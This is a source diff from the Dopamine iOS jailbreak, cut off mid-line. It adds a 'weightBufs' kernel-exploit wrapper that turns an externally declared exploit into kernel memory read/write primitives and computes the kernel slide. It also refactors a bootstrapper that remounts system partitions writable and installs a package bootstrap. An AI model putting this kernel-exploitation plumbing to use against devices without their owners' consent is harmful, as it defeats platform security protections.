--- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/iokit.h @@ -0,0 +1,108 @@ +#ifndef _IOKIT_H +#define _IOKIT_H + +#ifdef __cplusplus +extern "C" { +#endif +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#define False 0 +#define True 1 + + +#define CHECK_IOKIT_ERR(kr,name) do { \ + if (kr != KERN_SUCCESS) { \ + printf("%s : %s (0x%x)\n", \ + name,mach_error_string(kr),kr); \ + } \ + }while(0); + typedef uint64_t u64; + typedef uint32_t u32; + + +CFNumberRef CFInt32(int32_t value); +CFNumberRef CFInt64(int64_t value); + +enum { + kOSSerializeDictionary = 0x01000000U, + kOSSerializeArray = 0x02000000U, + kOSSerializeSet = 0x03000000U, + kOSSerializeNumber = 0x04000000U, + kOSSerializeSymbol = 0x08000000U, + kOSSerializeString = 0x09000000U, + kOSSerializeData = 0x0a000000U, + kOSSerializeBoolean = 0x0b000000U, + kOSSerializeObject = 0x0c000000U, + kOSSerializeTypeMask = 0x7F000000U, + kOSSerializeDataMask = 0x00FFFFFFU, + + kOSSerializeEndCollection = 0x80000000U, +}; + +// IOKIT +typedef mach_port_t io_connect_t; +typedef mach_port_t io_service_t; +typedef mach_port_t io_iterator_t; +typedef mach_port_t io_object_t; +typedef mach_port_t io_registry_entry_t; + +#ifndef IO_OBJECT_NULL +#define IO_OBJECT_NULL 0 +#endif +extern const mach_port_t kIOMasterPortDefault; + +kern_return_t IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt); +kern_return_t IOConnectCallAsyncMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt); + kern_return_t IOConnectMapMemory(io_connect_t connect, uint32_t memoryType, task_port_t intoTask, mach_vm_address_t *atAddress, mach_vm_size_t *ofSize, uint32_t options); +io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching); +kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type,io_connect_t *connect); +kern_return_t IOServiceGetMatchingServices(mach_port_t masterPort, CFDictionaryRef matching, io_iterator_t *existing); +kern_return_t IOServiceClose(io_connect_t connect); +uint32_t IOObjectGetRetainCount(io_object_t object); +uint32_t IOObjectGetKernelRetainCount(io_object_t object); +uint32_t IOObjectGetRetainCount(io_object_t object); +kern_return_t io_object_get_retain_count(mach_port_t object,uint32_t *retainCount); +kern_return_t IOObjectRelease(io_object_t object); +kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties); +kern_return_t IOConnectSetNotificationPort(io_connect_t connect, uint32_t type, mach_port_t port, uintptr_t reference); +CFMutableDictionaryRef IOServiceMatching(const char *name); +CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options); +CFTypeRef IOCFUnserialize(const char *buffer, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *errorString); + +typedef struct { + io_connect_t client; + uint8_t *sInput; + uint32_t sInputSize; + uint8_t * sOutput; + size_t sOutputSize; + mach_port_t asyncAwake; + uint64_t references[8]; + uint32_t referenceCnt; + uint64_t scalarI[0x10]; + uint64_t scalarO[0x10]; + uint32_t scalarISize; + size_t scalarOSize; +} IOKit_args_t; + +void hexdump(const void* data, size_t size); +io_connect_t iokit_get_connection(const char *name,unsigned int type); +IOKit_args_t * allocate_args(uint32_t InSize,uint32_t OutSize,bool has_mp); +void destroy_args(IOKit_args_t *); + + char * load_file(const char* filename, vm_size_t * size); + +#ifdef __cplusplus +} +#endif +#endif diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/model_tmp.hwx b/Application/Dopamine/Exploits/weightBufs/exploit/model_tmp.hwx new file mode 100755 index 0000000000..1c83867bba Binary files /dev/null and b/Application/Dopamine/Exploits/weightBufs/exploit/model_tmp.hwx differ diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/utils.c b/Application/Dopamine/Exploits/weightBufs/exploit/utils.c new file mode 100644 index 0000000000..f951737fd8 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/utils.c @@ -0,0 +1,114 @@ +#include "iokit.h" + +char * load_file(const char* filename, vm_size_t * size) { + int fd = open(filename,O_RDONLY); + if(fd < 0) { + perror("load_file(): %s \n"); + } + assert(fd > 0); + + struct stat st = {}; + int err = fstat(fd,&st); + assert(err == 0); + + void *ptr = mmap(0,round_page(st.st_size),PROT_READ | PROT_WRITE,MAP_FILE | MAP_PRIVATE, fd,0); + assert(ptr != (void*)-1); + *size = round_page(st.st_size); + close(fd); + + return (char*)ptr; +} + +io_connect_t iokit_get_connection(const char *name,unsigned int type) +{ + io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, + IOServiceMatching(name)); + if (service == IO_OBJECT_NULL) { + printf("unable to find service \n"); + exit(-1); + } + + io_connect_t conn = MACH_PORT_NULL; + kern_return_t kr = IOServiceOpen(service, mach_task_self(), type, &conn); + if(kr != KERN_SUCCESS) { + printf("[x] Could not open %s: %s\n",name,mach_error_string(kr)); + exit(-1); + + } + return conn; +} + + +IOKit_args_t * allocate_args(uint32_t InSize,uint32_t OutSize,bool has_mp) +{ + IOKit_args_t *args = (IOKit_args_t *)calloc(sizeof(IOKit_args_t),1); + args->sInput = (uint8_t *)calloc(InSize,1); + args->sOutput = (uint8_t *)calloc(OutSize,1); + + args->sInputSize = InSize; + args->sOutputSize = OutSize; + + if(has_mp) { + mach_port_t mp = 0; + if(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp)) + assert(false); + args->asyncAwake = mp; + } + return args; +} + +void destroy_args(IOKit_args_t *args) +{ + if(args->sInput) free(args->sInput); + if(args->sOutput) free(args->sOutput); + + if(args->asyncAwake) + ;//mach_port_destroy(mach_task_self(),args->asyncAwake); + + args->sInput = args->sOutput = NULL; + free(args); + + +} + + +CFNumberRef CFInt32(int32_t value) +{ + return CFNumberCreate(NULL, kCFNumberSInt32Type, &value); +} + +CFNumberRef CFInt64(int64_t value) +{ + return CFNumberCreate(NULL, kCFNumberSInt64Type, &value); +} + + +void hexdump(const void* data, size_t size) +{ + char ascii[17]; + size_t i, j; + ascii[16] = '\0'; + for (i = 0; i < size; ++i) { + printf("%02X ", ((unsigned char*)data)[i]); + if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { + ascii[i % 16] = ((unsigned char*)data)[i]; + } else + ascii[i % 16] = '.'; + + if ((i+1) % 8 == 0 || i+1 == size) { + printf(" "); + if ((i+1) % 16 == 0) + printf("| %s \n", ascii); + else if (i+1 == size) { + ascii[(i+1) % 16] = '\0'; + if ((i+1) % 16 <= 8) { + printf(" "); + } + for (j = (i+1) % 16; j < 16; ++j) + printf(" "); + + printf("| %s \n", ascii); + } + } + } +} diff --git a/Application/Dopamine/Exploits/weightBufs/weightBufs.h b/Application/Dopamine/Exploits/weightBufs/weightBufs.h new file mode 100644 index 0000000000..7f5b90e335 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/weightBufs.h @@ -0,0 +1,18 @@ +// +// weightBufs.h +// weightBufs +// +// Created by Lars Fröder on 27.04.24. +// + +#import + +//! Project version number for weightBufs. +FOUNDATION_EXPORT double weightBufsVersionNumber; + +//! Project version string for weightBufs. +FOUNDATION_EXPORT const unsigned char weightBufsVersionString[]; + +// In this header, you should import all the public headers of your framework using statements like #import + + diff --git a/Application/Dopamine/Exploits/weightBufs/weightBufs.m b/Application/Dopamine/Exploits/weightBufs/weightBufs.m new file mode 100644 index 0000000000..d6cd0d4219 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/weightBufs.m @@ -0,0 +1,149 @@ +// +// weightBufs.c +// weightBufs +// +// Created by Lars Fröder on 27.04.24. +// + +#include + +#import +#import +#import +#import + +@interface _ANEDeviceInfo : NSObject ++(NSString*)aneSubType; +@end +extern uint32_t subtypeToUse; +extern int exploit(uint64_t *kernelBaseOut); +extern void kwrite64(uint64_t address,uint64_t value); +extern uint32_t kread32(uint64_t address); +extern void cleanup(void); + +#define kread_from_method(type, method) \ + do { \ + volatile type* type_base = (volatile type*)(uaddr); \ + uint64_t type_size = ((size) / (sizeof(type))); \ + for (uint64_t type_offset = 0; type_offset < type_size; type_offset++) { \ + type type_value = method(kaddr + (type_offset * sizeof(type))); \ + type_base[type_offset] = type_value; \ + } \ + } while (0) + +#define kwrite_from_method(type, method) \ + do { \ + volatile type* type_base = (volatile type*)(uaddr); \ + uint64_t type_size = ((size) / (sizeof(type))); \ + for (uint64_t type_offset = 0; type_offset < type_size; type_offset++) { \ + type type_value = type_base[type_offset]; \ + method( kaddr + (type_offset * sizeof(type)), type_value); \ + } \ + } while (0) + +int kreadbuf(uint64_t kaddr, void* uaddr, size_t size) +{ + switch (size) { + case sizeof(uint8_t): { + uint32_t r = kread32(kaddr); + *(uint8_t *)uaddr = (uint8_t)r; + break; + } + case sizeof(uint16_t): { + uint32_t r = kread32(kaddr); + *(uint16_t *)uaddr = (uint16_t)r; + break; + } + default: + kread_from_method(uint32_t, kread32); + break; + } + return 0; +} + +int kwritebuf(uint64_t kaddr, const void* uaddr, size_t size) +{ + switch (size) { + case sizeof(uint8_t): { + uint8_t r[8] = { 0 }; + kreadbuf(kaddr, r, sizeof(r)); + r[0] = *(uint8_t *)uaddr; + kwrite64(kaddr, *(uint64_t *)r); + break; + } + case sizeof(uint16_t): { + uint16_t r[4] = { 0 }; + kreadbuf(kaddr, r, sizeof(r)); + r[0] = *(uint16_t *)uaddr; + kwrite64(kaddr, *(uint64_t *)r); + break; + } + case sizeof(uint32_t): { + uint32_t r[2] = { 0 }; + kreadbuf(kaddr, r, sizeof(r)); + r[0] = *(uint32_t *)uaddr; + kwrite64(kaddr, *(uint64_t *)r); + break; + } + default: + kwrite_from_method(uint64_t, kwrite64); + break; + } + return 0; +} + +int getAneSubtype(void) +{ + NSBundle *appleNeuralEngineBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AppleNeuralEngine.framework"]; + [appleNeuralEngineBundle load]; + Class _ANEDeviceInfoClass = NSClassFromString(@"_ANEDeviceInfo"); + + NSURL* imagingNetworksURL = [NSURL fileURLWithPath:@"/System/Library/ImagingNetworks"]; + NSDirectoryEnumerator* enumerator = [[NSFileManager defaultManager] enumeratorAtURL:imagingNetworksURL includingPropertiesForKeys:nil options:0 errorHandler:nil]; + NSURL* file; + + NSString* aneSubType = [_ANEDeviceInfoClass aneSubType].uppercaseString; + while(file = [enumerator nextObject]) + { + if([file.pathExtension isEqualToString:@"hwx"] && [file.lastPathComponent containsString:aneSubType]) + { + struct mach_header header; + FILE* f = fopen(file.fileSystemRepresentation, "r"); + if(!f) continue; + fread(&header, sizeof(struct mach_header), 1, f); + fclose(f); + return header.cpusubtype; + } + } + return -1; +} + +int exploit_init(const char *flavor) +{ + int subtype = getAneSubtype(); + if (subtype == -1) return -1; + + subtypeToUse = subtype; + uint64_t kernelbase = 0; + int r = exploit(&kernelbase); + if (r != 0) return r; + + gPrimitives.kwritebuf = kwritebuf; + gPrimitives.kreadbuf = kreadbuf; + gSystemInfo.kernelConstant.slide = kernelbase - kconstant(staticBase); + + return 0; +} + +int exploit_deinit(void) +{ + if (gPrimitives.kreadbuf == kreadbuf) { + gPrimitives.kreadbuf = NULL; + } + if (gPrimitives.kwritebuf == kwritebuf) { + gPrimitives.kwritebuf = NULL; + } + + cleanup(); + return 0; +} diff --git a/Application/Dopamine/Extensions/NSString+Version.h b/Application/Dopamine/Extensions/NSString+Version.h new file mode 100644 index 0000000000..7e717c290d --- /dev/null +++ b/Application/Dopamine/Extensions/NSString+Version.h @@ -0,0 +1,18 @@ +// +// NSString+Version.h +// Dopamine +// +// Created by Lars Fröder on 12.06.24. +// + +#import + +NS_ASSUME_NONNULL_BEGIN + +@interface NSString (Version) + +- (NSInteger)numericalVersionRepresentation; + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/Extensions/NSString+Version.m b/Application/Dopamine/Extensions/NSString+Version.m new file mode 100644 index 0000000000..ce25ff908a --- /dev/null +++ b/Application/Dopamine/Extensions/NSString+Version.m @@ -0,0 +1,26 @@ +// +// NSString+Version.h +// Dopamine +// +// Created by Lars Fröder on 12.06.24. +// + +#import + +@implementation NSString (Version) + +- (NSInteger)numericalVersionRepresentation +{ + NSInteger numericalRepresentation = 0; + + NSArray *components = [self componentsSeparatedByCharactersInSet:[[NSCharacterSet decimalDigitCharacterSet] invertedSet]]; + while (components.count < 3) + components = [components arrayByAddingObject:@"0"]; + + numericalRepresentation |= [components[0] integerValue] << 16; + numericalRepresentation |= [components[1] integerValue] << 8; + numericalRepresentation |= [components[2] integerValue]; + return numericalRepresentation; +} + +@end diff --git a/Application/Dopamine/Extensions/UIImage+Blur.m b/Application/Dopamine/Extensions/UIImage+Blur.m index a271f4d1c7..913930d6d9 100644 --- a/Application/Dopamine/Extensions/UIImage+Blur.m +++ b/Application/Dopamine/Extensions/UIImage+Blur.m @@ -16,15 +16,14 @@ - (instancetype)imageWithBlur:(float)radius CIImage *ciImage = [CIImage imageWithCGImage:self.CGImage]; CIFilter *filter = [CIFilter filterWithName:@"CIGaussianBlur"]; [filter setDefaults]; - [filter setValue:ciImage forKey:kCIInputImageKey]; + [filter setValue:[ciImage imageByClampingToExtent] forKey:kCIInputImageKey]; [filter setValue:@(radius) forKey:kCIInputRadiusKey]; - CIImage *outputImage = [filter outputImage]; + CIImage *outputImage = [[filter outputImage] imageByCroppingToRect:[ciImage extent]]; CIContext *context = [CIContext contextWithOptions:nil]; CGImageRef cgImg = [context createCGImage:outputImage fromRect:[ciImage extent]]; return [UIImage imageWithCGImage:cgImg]; - } - (instancetype)imageWithHue:(float)hue @@ -42,5 +41,4 @@ - (instancetype)imageWithHue:(float)hue return [UIImage imageWithCGImage:cgImg]; } - @end diff --git a/Application/Dopamine/Extensions/UIImage+JPEG2000.h b/Application/Dopamine/Extensions/UIImage+JPEG2000.h new file mode 100644 index 0000000000..aacb358bf0 --- /dev/null +++ b/Application/Dopamine/Extensions/UIImage+JPEG2000.h @@ -0,0 +1,5 @@ +#import + +@interface UIImage (JPEG2000) +- (NSData *)jp2DataWithCompressionQuality:(CGFloat)quality; +@end \ No newline at end of file diff --git a/Application/Dopamine/Extensions/UIImage+JPEG2000.m b/Application/Dopamine/Extensions/UIImage+JPEG2000.m new file mode 100644 index 0000000000..ea231b413d --- /dev/null +++ b/Application/Dopamine/Extensions/UIImage+JPEG2000.m @@ -0,0 +1,30 @@ +#import +#import +#import +#import "UIImage+JPEG2000.h" + +@implementation UIImage (JPEG2000) + +- (NSData *)jp2DataWithCompressionQuality:(CGFloat)quality +{ + NSMutableData *data = [NSMutableData data]; + CGImageDestinationRef destination = CGImageDestinationCreateWithData((__bridge CFMutableDataRef)data, kUTTypeJPEG2000, 1, NULL); + if (!destination) { + return nil; + } + + NSDictionary *options = @{ + (NSString *)kCGImageDestinationLossyCompressionQuality: @(quality) + }; + + CGImageDestinationAddImage(destination, self.CGImage, (__bridge CFDictionaryRef)options); + if (!CGImageDestinationFinalize(destination)) { + CFRelease(destination); + return nil; + } + + CFRelease(destination); + return data; +} + +@end \ No newline at end of file diff --git a/Application/Dopamine/Info.plist b/Application/Dopamine/Info.plist index 3d98414295..b0a99619d8 100644 --- a/Application/Dopamine/Info.plist +++ b/Application/Dopamine/Info.plist @@ -14,11 +14,13 @@ UISceneConfigurationName Default Configuration UISceneDelegateClassName - SceneDelegate + DOSceneDelegate + NSPhotoLibraryUsageDescription + Dopamine needs to access your photo library to support picking a boot logo UIViewControllerBasedStatusBarAppearance diff --git a/Application/Dopamine/Jailbreak/Bootstrapper.h b/Application/Dopamine/Jailbreak/DOBootstrapper.h similarity index 50% rename from Application/Dopamine/Jailbreak/Bootstrapper.h rename to Application/Dopamine/Jailbreak/DOBootstrapper.h index d8a9ce7509..67d236c8bb 100644 --- a/Application/Dopamine/Jailbreak/Bootstrapper.h +++ b/Application/Dopamine/Jailbreak/DOBootstrapper.h @@ -9,14 +9,18 @@ NS_ASSUME_NONNULL_BEGIN -@interface Bootstrapper : NSObject +@interface DOBootstrapper : NSObject { + NSURLSession *_urlSession; NSURLSessionDownloadTask *_bootstrapDownloadTask; + void (^_downloadCompletionBlock)(NSURL * _Nullable location, NSError * _Nullable error); } - (void)prepareBootstrapWithCompletion:(void (^)(NSError *))completion; -- (BOOL)needsFinalize; +- (NSError *)ensurePrivatePrebootIsWritable; +- (NSError *)installPackageManagers; - (NSError *)finalizeBootstrap; +- (NSError *)deleteBootstrap; @end diff --git a/Application/Dopamine/Jailbreak/Bootstrapper.m b/Application/Dopamine/Jailbreak/DOBootstrapper.m similarity index 56% rename from Application/Dopamine/Jailbreak/Bootstrapper.m rename to Application/Dopamine/Jailbreak/DOBootstrapper.m index afb16e0518..6af1efa2a2 100644 --- a/Application/Dopamine/Jailbreak/Bootstrapper.m +++ b/Application/Dopamine/Jailbreak/DOBootstrapper.m @@ -5,8 +5,9 @@ // Created by Lars Fröder on 09.01.24. // -#import "Bootstrapper.h" -#import "EnvironmentManager.h" +#import "DOBootstrapper.h" +#import "DOEnvironmentManager.h" +#import "DOUIManager.h" #import #import #import @@ -14,6 +15,17 @@ #import #import #import +#import "NSString+Version.h" + +#define LIBKRW_DOPAMINE_BUNDLED_VERSION @"2.0.3" +#define LIBROOT_DOPAMINE_BUNDLED_VERSION @"1.0.1" +#define BASEBIN_LINK_BUNDLED_VERSION @"1.0.0" + +static NSDictionary *gBundledPackages = @{ + @"libkrw0-dopamine" : LIBKRW_DOPAMINE_BUNDLED_VERSION, + @"libroot-dopamine" : LIBROOT_DOPAMINE_BUNDLED_VERSION, + @"dopamine-basebin-link" : BASEBIN_LINK_BUNDLED_VERSION, +}; struct hfs_mount_args { char *fspec; @@ -36,11 +48,22 @@ typedef NS_ENUM(NSInteger, JBErrorCode) { BootstrapErrorCodeFailedExtracting = -4, BootstrapErrorCodeFailedRemount = -5, BootstrapErrorCodeFailedFinalising = -6, + BootstrapErrorCodeFailedReplacing = -7, }; #define BUFFER_SIZE 8192 -@implementation Bootstrapper +@implementation DOBootstrapper + +- (instancetype)init +{ + self = [super init]; + if (self) { + /*NSURLSessionConfiguration *config = [NSURLSessionConfiguration backgroundSessionConfigurationWithIdentifier:@"com.opa334.bootstrapper.background-session"]; + _urlSession = [NSURLSession sessionWithConfiguration:config delegate:self delegateQueue:nil];*/ + } + return self; +} - (NSError *)decompressZstd:(NSString *)zstdPath toTar:(NSString *)tarPath { @@ -185,31 +208,21 @@ - (NSError *)decompressZstd:(NSString *)zstdPath toTar:(NSString *)tarPath - (NSError *)extractTar:(NSString *)tarPath toPath:(NSString *)destinationPath { - // "Oh no I have to run tar somehow" - // "Wait a minute... do I?" - static void *tarHandle = NULL; - if (!tarHandle) { - tarHandle = dlopen([[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"tar.dylib"].fileSystemRepresentation, RTLD_NOW); - if (!tarHandle) { - return [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedExtracting userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed to dlopen tar: %s", dlerror()]}]; - } - } - int (*tarMain)(int argc, const char *argv[]) = dlsym(tarHandle, "main"); - - int r = tarMain(5, (const char *[]){ "tar", "-xpkf", tarPath.fileSystemRepresentation, "-C", destinationPath.fileSystemRepresentation, NULL }); + int r = libarchive_unarchive(tarPath.fileSystemRepresentation, destinationPath.fileSystemRepresentation); if (r != 0) { - return [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedExtracting userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"tar returned %d", r]}]; + return [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedExtracting userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"libarchive returned %d", r]}]; } return nil; } -- (void)deleteSymlinkAtPath:(NSString *)path +- (BOOL)deleteSymlinkAtPath:(NSString *)path error:(NSError **)error { - NSDictionary *attributes = [[NSFileManager defaultManager] attributesOfItemAtPath:path error:nil]; - if (!attributes) return; + NSDictionary *attributes = [[NSFileManager defaultManager] attributesOfItemAtPath:path error:error]; + if (!attributes) return YES; if (attributes[NSFileType] == NSFileTypeSymbolicLink) { - [[NSFileManager defaultManager] removeItemAtPath:path error:nil]; + return [[NSFileManager defaultManager] removeItemAtPath:path error:error]; } + return NO; } - (BOOL)fileOrSymlinkExistsAtPath:(NSString *)path @@ -226,15 +239,17 @@ - (BOOL)fileOrSymlinkExistsAtPath:(NSString *)path return NO; } -- (BOOL)createSymlinkAtPath:(NSString *)path toPath:(NSString *)destinationPath createIntermediateDirectories:(BOOL)createIntermediate +- (NSError *)createSymlinkAtPath:(NSString *)path toPath:(NSString *)destinationPath createIntermediateDirectories:(BOOL)createIntermediate { + NSError *error; NSString *parentPath = [path stringByDeletingLastPathComponent]; if (![[NSFileManager defaultManager] fileExistsAtPath:parentPath]) { - if (!createIntermediate) return NO; - if (![[NSFileManager defaultManager] createDirectoryAtPath:parentPath withIntermediateDirectories:YES attributes:nil error:nil]) return NO; + if (!createIntermediate) return [NSError errorWithDomain:bootstrapErrorDomain code:-1 userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed create %@->%@ symlink: Parent dir does not exists", path, destinationPath]}]; + if (![[NSFileManager defaultManager] createDirectoryAtPath:parentPath withIntermediateDirectories:YES attributes:nil error:&error]) return error; } - return [[NSFileManager defaultManager] createSymbolicLinkAtPath:path withDestinationPath:destinationPath error:nil]; + [[NSFileManager defaultManager] createSymbolicLinkAtPath:path withDestinationPath:destinationPath error:&error]; + return error; } - (BOOL)isPrivatePrebootMountedWritable @@ -262,10 +277,28 @@ - (int)remountPrivatePrebootWritable:(BOOL)writable return mount("apfs", "/private/preboot", flags, &mntargs); } +- (NSError *)ensurePrivatePrebootIsWritable +{ + if (![self isPrivatePrebootMountedWritable]) { + int r = [self remountPrivatePrebootWritable:YES]; + if (r != 0) { + return [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedRemount userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Remounting /private/preboot as writable failed with error: %s", strerror(errno)]}]; + } + } + return nil; +} + - (void)fixupPathPermissions { - NSString *tmpPath = NSJBRootPath(@"/"); - while (![tmpPath isEqualToString:@"/private/preboot"]) { + // Ensure the following paths are owned by root:wheel and have permissions of 755: + // /private + // /private/preboot + // /private/preboot/UUID + // /private/preboot/UUID/dopamine- + // /private/preboot/UUID/dopamine-/procursus + + NSString *tmpPath = JBROOT_PATH(@"/"); + while (![tmpPath isEqualToString:@"/"]) { struct stat s; stat(tmpPath.fileSystemRepresentation, &s); if (s.st_uid != 0 || s.st_gid != 0) { @@ -286,7 +319,7 @@ - (void)patchBasebinDaemonPlist:(NSString *)plistPath NSMutableArray *programArguments = ((NSArray *)plistDict[@"ProgramArguments"]).mutableCopy; for (NSString *argument in [programArguments reverseObjectEnumerator]) { if ([argument containsString:@"@JBROOT@"]) { - programArguments[[programArguments indexOfObject:argument]] = [argument stringByReplacingOccurrencesOfString:@"@JBROOT@" withString:NSJBRootPath(@"/")]; + programArguments[[programArguments indexOfObject:argument]] = [argument stringByReplacingOccurrencesOfString:@"@JBROOT@" withString:JBROOT_PATH(@"/")]; madeChanges = YES; } } @@ -299,41 +332,49 @@ - (void)patchBasebinDaemonPlist:(NSString *)plistPath - (void)patchBasebinDaemonPlists { - NSURL *basebinDaemonsURL = [NSURL fileURLWithPath:NSJBRootPath(@"/basebin/LaunchDaemons")]; + NSURL *basebinDaemonsURL = [NSURL fileURLWithPath:JBROOT_PATH(@"/basebin/LaunchDaemons")]; for (NSURL *basebinDaemonURL in [[NSFileManager defaultManager] contentsOfDirectoryAtURL:basebinDaemonsURL includingPropertiesForKeys:nil options:0 error:nil]) { [self patchBasebinDaemonPlist:basebinDaemonURL.path]; } } -- (NSURL *)bootstrapURL +- (NSString *)bootstrapVersion { uint64_t cfver = (((uint64_t)kCFCoreFoundationVersionNumber / 100) * 100); if (cfver >= 2000) { return nil; } - return [NSURL URLWithString:[NSString stringWithFormat:@"https://apt.procurs.us/bootstraps/%llu/bootstrap-ssh-iphoneos-arm64.tar.zst", cfver]]; + return [NSString stringWithFormat:@"%llu", cfver]; } -- (void)downloadBootstrapWithCompletion:(void (^)(NSString *path, NSError *error))completion +- (NSURL *)bootstrapURL +{ + return [NSURL URLWithString:[NSString stringWithFormat:@"https://apt.procurs.us/bootstraps/%@/bootstrap-ssh-iphoneos-arm64.tar.zst", [self bootstrapVersion]]]; +} + +/*- (void)downloadBootstrapWithCompletion:(void (^)(NSString *path, NSError *error))completion { NSURL *bootstrapURL = [self bootstrapURL]; if (!bootstrapURL) { completion(nil, [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedToGetURL userInfo:@{NSLocalizedDescriptionKey : @"Failed to obtain bootstrap URL"}]); return; } - _bootstrapDownloadTask = [[NSURLSession sharedSession] downloadTaskWithURL:bootstrapURL completionHandler:^(NSURL * _Nullable location, NSURLResponse * _Nullable response, NSError * _Nullable error) { + + _downloadCompletionBlock = ^(NSURL * _Nullable location, NSError * _Nullable error) { NSError *ourError; if (error) { ourError = [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedToDownload userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed to download bootstrap: %@", error.localizedDescription]}]; } completion(location.path, ourError); - }]; + }; + + _bootstrapDownloadTask = [_urlSession downloadTaskWithURL:bootstrapURL]; [_bootstrapDownloadTask resume]; -} +}*/ - (void)extractBootstrap:(NSString *)path withCompletion:(void (^)(NSError *))completion { - NSString *bootstrapTar = [NSTemporaryDirectory() stringByAppendingPathComponent:@"bootstrap.tar"]; + NSString *bootstrapTar = [@"/var/tmp" stringByAppendingPathComponent:@"bootstrap.tar"]; NSError *decompressionError = [self decompressZstd:path toTar:bootstrapTar]; if (decompressionError) { completion(decompressionError); @@ -346,22 +387,36 @@ - (void)extractBootstrap:(NSString *)path withCompletion:(void (^)(NSError *))co return; } - [[NSData data] writeToFile:NSJBRootPath(@"/.installed_dopamine") atomically:YES]; + [[NSData data] writeToFile:JBROOT_PATH(@"/.installed_dopamine") atomically:YES]; completion(nil); } - (void)prepareBootstrapWithCompletion:(void (^)(NSError *))completion { + [[DOUIManager sharedInstance] sendLog:@"Updating BaseBin" debug:NO]; + // Ensure /private/preboot is mounted writable (Not writable by default on iOS <=15) - if (![self isPrivatePrebootMountedWritable]) { - int r = [self remountPrivatePrebootWritable:YES]; - if (r != 0) { - completion([NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedRemount userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Remounting /private/preboot as writable failed with error: %s", strerror(errno)]}]); - } + NSError *error = [self ensurePrivatePrebootIsWritable]; + if (error) { + completion(error); + return; } + [self fixupPathPermissions]; + // Remove /var/jb as it might be wrong - [self deleteSymlinkAtPath:@"/var/jb"]; + if (![self deleteSymlinkAtPath:@"/var/jb" error:&error]) { + if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/jb"]) { + if (![[NSFileManager defaultManager] removeItemAtPath:@"/var/jb" error:&error]) { + completion([NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedReplacing userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Removing /var/jb directory failed with error: %@", error]}]); + return; + } + } + else { + completion([NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedReplacing userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Removing /var/jb symlink failed with error: %@", error]}]); + return; + } + } // Clean up xinaA15 v1 leftovers if desired if (![[NSFileManager defaultManager] fileExistsAtPath:@"/var/.keep_symlinks"]) { @@ -408,7 +463,7 @@ - (void)prepareBootstrapWithCompletion:(void (^)(NSError *))completion ]; for (NSString *xinaLeftoverSymlink in xinaLeftoverSymlinks) { - [self deleteSymlinkAtPath:xinaLeftoverSymlink]; + [self deleteSymlinkAtPath:xinaLeftoverSymlink error:nil]; } for (NSString *xinaLeftoverFile in xinaLeftoverFiles) { @@ -418,24 +473,27 @@ - (void)prepareBootstrapWithCompletion:(void (^)(NSError *))completion } } - NSString *basebinPath = NSJBRootPath(@"/basebin"); - NSString *installedPath = NSJBRootPath(@"/.installed_dopamine"); - [self createSymlinkAtPath:@"/var/jb" toPath:NSJBRootPath(@"/") createIntermediateDirectories:YES]; + NSString *basebinPath = JBROOT_PATH(@"/basebin"); + NSString *installedPath = JBROOT_PATH(@"/.installed_dopamine"); + error = [self createSymlinkAtPath:@"/var/jb" toPath:JBROOT_PATH(@"/") createIntermediateDirectories:YES]; + if (error) { + completion(error); + return; + } - NSError *error; if ([[NSFileManager defaultManager] fileExistsAtPath:basebinPath]) { if (![[NSFileManager defaultManager] removeItemAtPath:basebinPath error:&error]) { completion([NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedExtracting userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed deleting existing basebin file with error: %@", error.localizedDescription]}]); return; } } - error = [self extractTar:[[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"basebin.tar"] toPath:NSJBRootPath(@"/")]; + error = [self extractTar:[[NSBundle mainBundle].bundlePath 